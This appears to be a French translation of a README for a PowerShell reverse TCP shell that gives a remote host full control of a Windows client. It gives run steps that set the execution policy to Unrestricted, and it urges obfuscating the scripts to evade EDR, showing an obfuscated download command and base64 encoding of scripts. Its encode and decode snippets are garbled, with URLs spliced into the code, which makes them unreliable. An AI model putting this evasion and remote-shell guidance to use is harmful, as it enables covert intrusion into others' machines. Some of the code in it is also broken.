
powershell-reverse-tcp v5.0
Scripts PowerShell pour communiquer avec un hôte distant.
PowerShell Reverse TCP
Scripts PowerShell pour communiquer avec un hôte distant.
L'hôte distant aura un contrôle total sur le client et toutes les commandes système sous-jacentes.
Consultez les shells basés sur :
Testé avec PowerShell v5.1.19041.2673 sur Windows 10 Enterprise OS (64-bit).
Réalisé à des fins éducatives. J'espère que cela vous aidera !
Ce dépôt commence à avoir des signatures connues et je n'ai pas le temps de télécharger de nouveaux scripts à chaque fois, vous devez donc obfusquer ces scripts vous-même.
Projets futurs :
- davantage de shells basés sur les process pipes, et les optimiser davantage.
Table of Contents
How to Run
Modifiez l'adresse IP et le numéro de port dans les scripts selon vos besoins.
Ouvrez PowerShell depuis \src\invoke_expression\original\ ou \src\process_pipes\original\ et exécutez les commandes ci-dessous.
Définissez la politique d'exécution :```pwsh Set-ExecutionPolicy Unrestricted
Exécutez le script:```pwsh
.\powershell_reverse_tcp.ps1
Ou, exécutez la commande suivante depuis PowerShell ou l'invite de commandes :```pwsh PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1
## Obscurcir des scripts PowerShell
Essayez de contourner les EDR et autres mécanismes de sécurité en obscurcissant vos scripts. Vous pouvez voir de tels obscurcissements dans les exemples ci-dessous.
Commande PowerShell d'origine:```pwsh
(New-Object Net.WebClient).DownloadFile($url, $out)
Commande PowerShell obfusquée :```pwsh
& (GCM *ke-E*) '(& (GCM ew-O) NET.WEBCLIENT)."DOWNLOADFIL`E"($url, $out)'
**Consultez le script PowerShell original [ici](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/original/powershell_reverse_tcp.ps1) et celui entièrement obscurci [ici](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/invoke_obfuscation/powershell_reverse_tcp_obfuscated.ps1).**
Après [l'obscurcissement manuel](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_reverse_tcp_manual.ps1), le script PowerShell original a été obscurci avec [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation). Crédits à l'auteur !
Recherchez sur Internet des techniques et méthodes d'obscurcissement supplémentaires.
P.S. Comme PowerShell est constamment mis à jour, certaines expressions régulières (par exemple `*ke-E*`) peuvent commencer à générer des exceptions en raison de plusieurs méthodes correspondant à la même expression, donc les expressions devront être spécifiées un peu mieux.
### Commande encodée PowerShell
Pour générer une commande encodée PowerShell à partir d'un script PowerShell, exécutez la commande PowerShell suivante :```pwsh
[Convert]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:ToBase64String(%5BText.Encoding%5D::Unicode.GetBytes(%5BIO.File%5D::ReadAllText($script)))
Pour décoder une commande PowerShell encodée, exécutez la commande PowerShell suivante :```pwsh [Text.Encoding]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:Unicode.GetString(%5BConvert%5D::FromBase64String($command))
Utilisez les one-liners ci-dessous si vous ne voulez laisser aucun artefact derrière.
---